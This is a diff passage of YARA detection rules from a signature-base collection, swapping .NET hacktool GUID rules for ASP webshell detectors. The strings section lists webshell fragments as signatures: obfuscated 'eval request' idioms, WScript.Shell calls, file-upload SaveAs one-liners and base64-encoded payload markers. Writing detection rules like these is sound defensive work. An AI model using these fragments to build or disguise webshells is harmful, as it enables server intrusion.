+		hash = "9885ee1952b5ad9f84176c9570ad4f0e32461c92"
+		hash = "27a020c5bc0dbabe889f436271df129627b02196"
+		hash = "f41f8c82b155c3110fc1325e82b9ee92b741028b"
+		hash = "af40f4c36e3723236c59dc02f28a3efb047d67dd"
+		logic_hash = "dc33423874a49edfe9994db50959e6a55e2d475f4cd7d0b1b0a288c4ee1f7961"
 		score = 75
-		quality = 85
+		quality = -74
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "4f495784-b443-4838-9fa6-9149293af785" ascii wide
-		$typelibguid0up = "4F495784-B443-4838-9FA6-9149293AF785" ascii wide
+		$encoded1 = "VBScript.Encode" nocase wide ascii
+		$encoded2 = "JScript.Encode" nocase wide ascii
+		$data1 = "#@~^" wide ascii
+		$sus1 = "shell" nocase wide ascii
+		$sus2 = "cmd" fullword wide ascii
+		$sus3 = "password" fullword wide ascii
+		$sus4 = "UserPass" fullword wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <500KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and any of ($encoded*) and any of ($data*) and ( any of ($sus*) or ( filesize <20KB and #data1>4) or ( filesize <700 and #data1>0))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Watson : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Encoded_Aspcoding : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "ASP Webshell encoded using ASPEncodeDLL.AspCoding"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "6dc7bb08-0b34-50a0-8ae8-02d96d66a334"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/rasta-mouse/Watson"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2717-L2731"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cc7134a974b11b677e368f4f01ec534578bcd970282dc2c8b7f4852cb028514a"
-		score = 75
-		quality = 85
+		id = "788a8dae-bcb8-547c-ba17-e1f14bc28f34"
+		date = "2021-03-14"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L3770-L3876"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7cfd184ab099c4d60b13457140493b49c8ba61ee"
+		hash = "f5095345ee085318235c11ae5869ae564d636a5342868d0935de7582ba3c7d7a"
+		logic_hash = "a0f0b8585b28b13a90c5d112997cacea00af8c89c81eda5edf05508ad41459ab"
+		score = 60
+		quality = -55
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "49ad5f38-9e37-4967-9e84-fe19c7434ed7" ascii wide
-		$typelibguid0up = "49AD5F38-9E37-4967-9E84-FE19C7434ED7" ascii wide
+		$encoded1 = "ASPEncodeDLL" fullword nocase wide ascii
+		$encoded2 = ".Runt" nocase wide ascii
+		$encoded3 = "Request" fullword nocase wide ascii
+		$encoded4 = "Response" fullword nocase wide ascii
+		$data1 = "AspCoding.EnCode" wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <500KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and all of ($encoded*) and any of ($data*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Standin : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_By_String : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Known ASP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2af3c28a-ce5d-5dea-9abe-ff54b180049e"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/FuzzySecurity/StandIn"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2733-L2747"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "105be83eb5db667b9f27f2a514e0d04748ca006ef64aa01b9f643c227e7f1639"
+		id = "4705b28b-2ffa-53d1-b727-1a9fc2a7dd69"
+		date = "2021-01-13"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L3878-L4056"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f72252b13d7ded46f0a206f63a1c19a66449f216"
+		hash = "bd75ac9a1d1f6bcb9a2c82b13ea28c0238360b3a7be909b2ed19d3c96e519d3d"
+		hash = "56a54fe1f8023455800fd0740037d806709ffb9ece1eb9e7486ad3c3e3608d45"
+		hash = "4ef5d8b51f13b36ce7047e373159d7bb42ca6c9da30fad22e083ab19364c9985"
+		hash = "e90c3c270a44575c68d269b6cf78de14222f2cbc5fdfb07b9995eb567d906220"
+		hash = "8a38835f179e71111663b19baade78cc3c9e1f6fcc87eb35009cbd09393cbc53"
+		hash = "f2883e9461393b33feed4139c0fc10fcc72ff92924249eb7be83cb5b76f0f4ee"
+		hash = "10cca59c7112dfb1c9104d352e0504f842efd4e05b228b6f34c2d4e13ffd0eb6"
+		hash = "ed179e5d4d365b0332e9ffca83f66ee0afe1f1b5ac3c656ccd08179170a4d9f7"
+		hash = "ce3273e98e478a7e95fccce0a3d3e8135c234a46f305867f2deacd4f0efa7338"
+		hash = "65543373b8bd7656478fdf9ceeacb8490ff8976b1fefc754cd35c89940225bcf"
+		hash = "de173ea8dcef777368089504a4af0804864295b75e51794038a6d70f2bcfc6f5"
+		logic_hash = "b6ff83bc501753b893a0f5e60c6aafa292617279c0855ce3ba2d0b9b73325e8a"
 		score = 75
-		quality = 85
+		quality = -91
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "01c142ba-7af1-48d6-b185-81147a2f7db7" ascii wide
-		$typelibguid0up = "01C142BA-7AF1-48D6-B185-81147A2F7DB7" ascii wide
+		$asp_string1 = "tseuqer lave" wide ascii
+		$asp_string2 = ":eval request(" wide ascii
+		$asp_string3 = ":eval request(" wide ascii
+		$asp_string4 = "SItEuRl=\"http://www.zjjv.com\"" wide ascii
+		$asp_string5 = "ServerVariables(\"HTTP_HOST\"),\"gov.cn\"" wide ascii
+		$asp_string6 = /e\+.-v\+.-a\+.-l/ wide ascii
+		$asp_string7 = "r+x-e+x-q+x-u" wide ascii
+		$asp_string8 = "add6bb58e139be10" fullword wide ascii
+		$asp_string9 = "WebAdmin2Y.x.y(\"" wide ascii
+		$asp_string10 = "<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[" wide ascii
+		$asp_string11 = "<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(" wide ascii
+		$asp_string12 = "UmVxdWVzdC5JdGVtWyJ" wide ascii
+		$asp_string13 = "UAdgBhAGwAKA" wide ascii
+		$asp_string14 = "lAHYAYQBsACgA" wide ascii
+		$asp_string15 = "ZQB2AGEAbAAoA" wide ascii
+		$asp_string16 = "IAZQBxAHUAZQBzAHQAKA" wide ascii
+		$asp_string17 = "yAGUAcQB1AGUAcwB0ACgA" wide ascii
+		$asp_string18 = "cgBlAHEAdQBlAHMAdAAoA" wide ascii
+		$asp_string19 = "\"ev\"&\"al" wide ascii
+		$asp_string20 = "\"Sc\"&\"ri\"&\"p" wide ascii
+		$asp_string21 = "C\"&\"ont\"&\"" wide ascii
+		$asp_string22 = "\"vb\"&\"sc" wide ascii
+		$asp_string23 = "\"A\"&\"do\"&\"d" wide ascii
+		$asp_string24 = "St\"&\"re\"&\"am\"" wide ascii
+		$asp_string25 = "*/eval(" wide ascii
+		$asp_string26 = "\"e\"&\"v\"&\"a\"&\"l" nocase
+		$asp_string27 = "<%eval\"\"&(\"" nocase wide ascii
+		$asp_string28 = "6877656D2B736972786677752B237E232C2A" wide ascii
+		$asp_string29 = "ws\"&\"cript.shell" wide ascii
+		$asp_string30 = "SerVer.CreAtEoBjECT(\"ADODB.Stream\")" wide ascii
+		$asp_string31 = "ASPShell - web based shell" wide ascii
+		$asp_string32 = "<++ CmdAsp.asp ++>" wide ascii
+		$asp_string33 = "\"scr\"&\"ipt\"" wide ascii
+		$asp_string34 = "Regex regImg = new Regex(\"[a-z|A-Z]{1}:\\\\\\\\[a-z|A-Z| |0-9|\\u4e00-\\u9fa5|\\\\~|\\\\\\\\|_|{|}|\\\\.]*\");" wide ascii
+		$asp_string35 = "\"she\"&\"ll." wide ascii
+		$asp_string36 = "LH\"&\"TTP" wide ascii
+		$asp_string37 = "<title>Web Sniffer</title>" wide ascii
+		$asp_string38 = "<title>WebSniff" wide ascii
+		$asp_string39 = "cript\"&\"ing" wide ascii
+		$asp_string40 = "tcejbOmetsySeliF.gnitpircS" wide ascii
+		$asp_string41 = "tcejbOetaerC.revreS" wide ascii
+		$asp_string42 = "This file is part of A Black Path Toward The Sun (\"ABPTTS\")" wide ascii
+		$asp_string43 = "if ((Request.Headers[headerNameKey] != null) && (Request.Headers[headerNameKey].Trim() == headerValueKey.Trim()))" wide ascii
+		$asp_string44 = "if (request.getHeader(headerNameKey).toString().trim().equals(headerValueKey.trim()))" wide ascii
+		$asp_string45 = "Response.Write(Server.HtmlEncode(ExcutemeuCmd(txtArg.Text)));" wide ascii
+		$asp_string46 = "\"c\" + \"m\" + \"d\"" wide ascii
+		$asp_string47 = "\".\"+\"e\"+\"x\"+\"e\"" wide ascii
+		$asp_string48 = "Tas9er" fullword wide ascii
+		$asp_string49 = "<%@ Page Language=\"\\u" wide ascii
+		$asp_string50 = "BinaryRead(\\u" wide ascii
+		$asp_string51 = "Request.\\u" wide ascii
+		$asp_string52 = "System.Buffer.\\u" wide ascii
+		$asp_string53 = "System.Net.\\u" wide ascii
+		$asp_string54 = ".\\u0052\\u0065\\u0066\\u006c\\u0065\\u0063\\u0074\\u0069\\u006f\\u006e\"" wide ascii
+		$asp_string55 = "\\u0041\\u0073\\u0073\\u0065\\u006d\\u0062\\u006c\\u0079.\\u004c\\u006f\\u0061\\u0064" wide ascii
+		$asp_string56 = "\\U00000052\\U00000065\\U00000071\\U00000075\\U00000065\\U00000073\\U00000074[\"" wide ascii
+		$asp_string57 = "*/\\U0000" wide ascii
+		$asp_string58 = "\\U0000FFFA" wide ascii
+		$asp_string59 = "\"e45e329feb5d925b\"" wide ascii
+		$asp_string60 = ">POWER!shelled<" wide ascii
+		$asp_string61 = "@requires xhEditor" wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <200KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and any of ($asp_string*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Azure_Password_Harvesting : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Sniffer : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "ASP webshell which can sniff local traffic"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "681cf9da-d664-5402-b7ac-eb2cfad85da9"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/guardicore/azure_password_harvesting"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2749-L2763"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4b42d3318af410952f96ede0959363f33e75ce0644c58c1de85165e0acbbfcdd"
+		id = "b5704c19-fce1-5210-8185-4839c1c5a344"
+		date = "2021-03-14"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L4058-L4193"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1206c22de8d51055a5e3841b4542fb13aa0f97dd"
+		hash = "60d131af1ed23810dbc78f85ee32ffd863f8f0f4"
+		hash = "c3bc4ab8076ef184c526eb7f16e08d41b4cec97e"
+		hash = "ed5938c04f61795834751d44a383f8ca0ceac833"
+		logic_hash = "874ec4c5dff024a899976e46cd553b52c361779a5507cf08ff0de596fd460d41"
 		score = 75
-		quality = 85
+		quality = -74
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "7ad1ff2d-32ac-4c54-b615-9bb164160dac" ascii wide
-		$typelibguid0up = "7AD1FF2D-32AC-4C54-B615-9BB164160DAC" ascii wide
+		$sniff1 = "Socket(" wide ascii
+		$sniff2 = ".Bind(" wide ascii
+		$sniff3 = ".SetSocketOption(" wide ascii
+		$sniff4 = ".IOControl(" wide ascii
+		$sniff5 = "PacketCaptureWriter" fullword wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$asp_input1 = "request" fullword nocase wide ascii
+		$asp_input2 = "Page_Load" fullword nocase wide ascii
+		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+		$asp_xml_method1 = "GET" fullword wide ascii
+		$asp_xml_method2 = "POST" fullword wide ascii
+		$asp_xml_method3 = "HEAD" fullword wide ascii
+		$asp_form1 = "<form " wide ascii
+		$asp_form2 = "<Form " wide ascii
+		$asp_form3 = "<FORM " wide ascii
+		$asp_asp = "<asp:" wide ascii
+		$asp_text1 = ".text" wide ascii
+		$asp_text2 = ".Text" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and filesize <30KB and all of ($sniff*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Powerops : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Generic_Tiny : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic tiny ASP webshell which uses any eval/exec function indirectly on user input or writes a file"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3ef9f099-13c9-5b6f-8615-232240530078"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/fdiskyou/PowerOPS"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2765-L2779"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "211a96940c5cbca143471268500be46c13dc58469d2386b2dc7f8ff1f05a2c52"
+		id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"
+		date = "2021-01-07"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L4195-L4402"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "990e3f129b8ba409a819705276f8fa845b95dad0"
+		hash = "52ce724580e533da983856c4ebe634336f5fd13a"
+		hash = "0864f040a37c3e1cef0213df273870ed6a61e4bc"
+		hash = "b184dc97b19485f734e3057e67007a16d47b2a62"
+		logic_hash = "62012312876adb97f24ff39af041263d7678a4264374398907b2442731e586d7"
 		score = 75
-		quality = 85
+		quality = -252
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "2a3c5921-7442-42c3-8cb9-24f21d0b2414" ascii wide
-		$typelibguid0up = "2A3C5921-7442-42C3-8CB9-24F21D0B2414" ascii wide
+		$fp1 = "net.rim.application.ipproxyservice.AdminCommand.execute"
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$asp_input1 = "request" fullword nocase wide ascii
+		$asp_input2 = "Page_Load" fullword nocase wide ascii
+		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+		$asp_xml_method1 = "GET" fullword wide ascii
+		$asp_xml_method2 = "POST" fullword wide ascii
+		$asp_xml_method3 = "HEAD" fullword wide ascii
+		$asp_form1 = "<form " wide ascii
+		$asp_form2 = "<Form " wide ascii
+		$asp_form3 = "<FORM " wide ascii
+		$asp_asp = "<asp:" wide ascii
+		$asp_text1 = ".text" wide ascii
+		$asp_text2 = ".Text" wide ascii
+		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
+		$pack = { 50 41 43 4b 00 00 00 02 00 }
+		$asp_payload0 = "eval_r" fullword nocase wide ascii
+		$asp_payload1 = /\beval\s/ nocase wide ascii
+		$asp_payload2 = /\beval\(/ nocase wide ascii
+		$asp_payload3 = /\beval\"\"/ nocase wide ascii
+		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
+		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
+		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
+		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+		$asp_multi_payload_one2 = "addcode" fullword wide ascii
+		$asp_multi_payload_one3 = /\.run\b/ wide ascii
+		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+		$asp_multi_payload_three2 = "Process" fullword wide ascii
+		$asp_multi_payload_three3 = ".Start" wide ascii
+		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+		$asp_multi_payload_five2 = ".Start" nocase wide ascii
+		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
+		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+		$asp_always_write1 = /\.write/ nocase wide ascii
+		$asp_always_write2 = /\.swrite/ nocase wide ascii
+		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+		$asp_cr_write1 = "CreateObject(" nocase wide ascii
+		$asp_cr_write2 = "CreateObject (" nocase wide ascii
+		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
